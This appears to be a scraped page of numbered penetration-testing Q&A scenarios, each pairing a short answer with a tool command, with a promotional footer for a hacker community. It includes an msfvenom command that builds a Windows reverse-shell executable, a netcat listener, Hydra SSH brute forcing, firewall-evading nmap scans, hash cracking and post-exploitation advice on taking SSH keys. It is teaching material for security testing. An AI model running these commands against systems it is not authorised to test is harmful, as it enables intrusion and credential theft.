Use SQLmap with high risk and level parameters for a thorough scan.
SHELL_COMMAND
sqlmap -u "URL" --batch --risk=3 --level=5
#SEC_LEVEL_SCENARIOTOOLS
080
Scenario: How to perform a dictionary attack on an SSH service?
Scenario

Use Hydra with a username list and a password list.

DECRYPTED DATA STREAM
Use Hydra with a username list and a password list.
SHELL_COMMAND
hydra -L users.txt -P pass.txt <target> ssh
#SEC_LEVEL_SCENARIOTOOLS
081
Scenario: You need to bypass a firewall to scan a target. Techniques?
Scenario

Use Nmap's fragmentation (`-f`), decoy (`-D`), or idle scan (`-sI`) features.

DECRYPTED DATA STREAM
Use Nmap's fragmentation (`-f`), decoy (`-D`), or idle scan (`-sI`) features.
SHELL_COMMAND
nmap -f -sS <target>
#SEC_LEVEL_SCENARIOTOOLS
082
Scenario: How to find hidden directories on a web server?
Scenario

Use directory busting tools like Gobuster or Dirb with a wordlist.

DECRYPTED DATA STREAM
Use directory busting tools like Gobuster or Dirb with a wordlist.
SHELL_COMMAND
gobuster dir -u http://example.com -w /usr/share/wordlists/dirb/common.txt
#SEC_LEVEL_SCENARIOTOOLS
083
Scenario: You have a hash and want to crack it. Tool?
Scenario

Use John the Ripper or Hashcat. Hashcat is generally faster as it uses GPU acceleration.

DECRYPTED DATA STREAM
Use John the Ripper or Hashcat. Hashcat is generally faster as it uses GPU acceleration.
SHELL_COMMAND
hashcat -m 0 -a 0 <hash_file> <wordlist>
#SEC_LEVEL_SCENARIOTOOLS
084
Scenario: How to generate a malicious payload for a Windows machine?
Scenario

Use MSFvenom (part of Metasploit) to create an executable with a reverse shell.

DECRYPTED DATA STREAM
Use MSFvenom (part of Metasploit) to create an executable with a reverse shell.
SHELL_COMMAND
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your_ip> LPORT=4444 -f exe > shell.exe
#SEC_LEVEL_SCENARIOTOOLS
085
Scenario: How to listen for a reverse shell connection?
Scenario

Use the Metasploit multi-handler or Netcat.

DECRYPTED DATA STREAM
Use the Metasploit multi-handler or Netcat.
SHELL_COMMAND
nc -lvnp 4444
#SEC_LEVEL_SCENARIOTOOLS
086
Scenario: You suspect an employee is sending sensitive data in images. Technique?
Scenario

Steganography. Use tools like `steghide` to extract hidden data from image or audio files.

DECRYPTED DATA STREAM
Steganography. Use tools like `steghide` to extract hidden data from image or audio files.
SHELL_COMMAND
steghide extract -sf suspicious.jpg
#SEC_LEVEL_SCENARIOTOOLS
087
Scenario: How to check for vulnerabilities in a WordPress site?
Scenario

Use WPScan to identify vulnerable plugins, themes, and outdated core versions.

DECRYPTED DATA STREAM
Use WPScan to identify vulnerable plugins, themes, and outdated core versions.
SHELL_COMMAND
wpscan --url http://example.com --enumerate vp,vt,u
#SEC_LEVEL_SCENARIOTOOLS
088
Scenario: How to conduct a DNS zone transfer attempt?
Scenario

Use the `dig` command with the `axfr` type. If successful, it reveals all records for the domain.

DECRYPTED DATA STREAM
Use the `dig` command with the `axfr` type. If successful, it reveals all records for the domain.
SHELL_COMMAND
dig @<nameserver> <domain> axfr
#SEC_LEVEL_SCENARIOTOOLS
089
Scenario: How to identify subdomains of a target domain?
Scenario

Use tools like Sublist3r, Amass, or online search engines specialized in subdomain discovery.

DECRYPTED DATA STREAM
Use tools like Sublist3r, Amass, or online search engines specialized in subdomain discovery.
SHELL_COMMAND
sublist3r -d example.com
#SEC_LEVEL_SCENARIOTOOLS
090
Scenario: What is 'Shodan' and how is it used?
Scenario

Shodan is a search engine for internet-connected devices. It allows hackers to find vulnerable servers, IoT devices, and industrial control systems ba...

DECRYPTED DATA STREAM
Shodan is a search engine for internet-connected devices. It allows hackers to find vulnerable servers, IoT devices, and industrial control systems based on their banners.
#SEC_LEVEL_SCENARIOTOOLS
091
Scenario: How to automate security headers check for a website?
Scenario

Use online tools like securityheaders.com or command-line tools like `curl` to inspect the response headers.

DECRYPTED DATA STREAM
Use online tools like securityheaders.com or command-line tools like `curl` to inspect the response headers.
SHELL_COMMAND
curl -I https://example.com
#SEC_LEVEL_SCENARIOTOOLS
092
Scenario: You find a 'git' directory exposed on a web server. Importance?
Scenario

Critical risk. An attacker can use tools like `git-dumper` to download the entire repository, including source code, credentials, and history.

DECRYPTED DATA STREAM
Critical risk. An attacker can use tools like `git-dumper` to download the entire repository, including source code, credentials, and history.
#SEC_LEVEL_SCENARIOTOOLS
093
Scenario: How to check if a specific CV-2021-44228 (Log4Shell) exists on a network?
Scenario

Use specialized vulnerability scanners or Nmap scripts designed to trigger the JNDI lookup and detect the response.

DECRYPTED DATA STREAM
Use specialized vulnerability scanners or Nmap scripts designed to trigger the JNDI lookup and detect the response.
#SEC_LEVEL_SCENARIOTOOLS
094
Scenario: How to perform Google Dorking for sensitive files?
Scenario

Use advanced Google search operators like `filetype:pdf` and `intitle:"index of"`.

DECRYPTED DATA STREAM
Use advanced Google search operators like `filetype:pdf` and `intitle:"index of"`.
SHELL_COMMAND
site:example.com filetype:log
#SEC_LEVEL_SCENARIOTOOLS
095
Scenario: What to look for in a post-exploitation phase?
Scenario

Look for configuration files, backup databases, SSH keys, browse browser history, and attempt privilege escalation to gain root/SYSTEM access.

DECRYPTED DATA STREAM
Look for configuration files, backup databases, SSH keys, browse browser history, and attempt privilege escalation to gain root/SYSTEM access.
#SEC_LEVEL_SCENARIOTOOLS
096
Scenario: How to identify the used web framework in a browser?
Scenario

Use browser extensions like Wappalyzer or BuiltWith, or check the source code for unique file paths (e.g., `wp-content` for WordPress).

DECRYPTED DATA STREAM
Use browser extensions like Wappalyzer or BuiltWith, or check the source code for unique file paths (e.g., `wp-content` for WordPress).
#SEC_LEVEL_SCENARIOTOOLS
097
Scenario: How to test for insecure direct object references (IDOR)?
Scenario

Manually change ID parameters in the URL or request body (e.g., change `user_id=101` to `user_id=102`) to see if you can access other users' data.

DECRYPTED DATA STREAM
Manually change ID parameters in the URL or request body (e.g., change `user_id=101` to `user_id=102`) to see if you can access other users' data.
#SEC_LEVEL_SCENARIOTOOLS
098
Scenario: How to check if an email has been leaked in a data breach?
Scenario

Use services like 'Have I Been Pwned' (HIBP) which aggregate data from thousands of breaches.

DECRYPTED DATA STREAM
Use services like 'Have I Been Pwned' (HIBP) which aggregate data from thousands of breaches.
#SEC_LEVEL_SCENARIOTOOLS
099
Scenario: A server is responding slowly to all requests after a specific time. Possible cause?
Scenario

Could be a scheduled DDoS attack, a resource-heavy cron job, or a performance-bottleneck vulnerability (like ReDoS) being exploited.

DECRYPTED DATA STREAM
Could be a scheduled DDoS attack, a resource-heavy cron job, or a performance-bottleneck vulnerability (like ReDoS) being exploited.
#SEC_LEVEL_SCENARIOTOOLS
100
What is your ethical responsibility after finding a vulnerability?
Scenario

Document the finding clearly, report it to the owner through proper channels (Responsible Disclosure), give them time to fix it, and offer assistance ...

DECRYPTED DATA STREAM
Document the finding clearly, report it to the owner through proper channels (Responsible Disclosure), give them time to fix it, and offer assistance if needed. Never exploit it for harm.
#SEC_LEVEL_SCENARIOTOOLS

SECURE YOUR CAREER

Join our underground community of 50,000+ ethical hackers. Get weekly deep-dives into 0-days, exploit research, and bypass techniques.

Data is encrypted via AES-256 bits.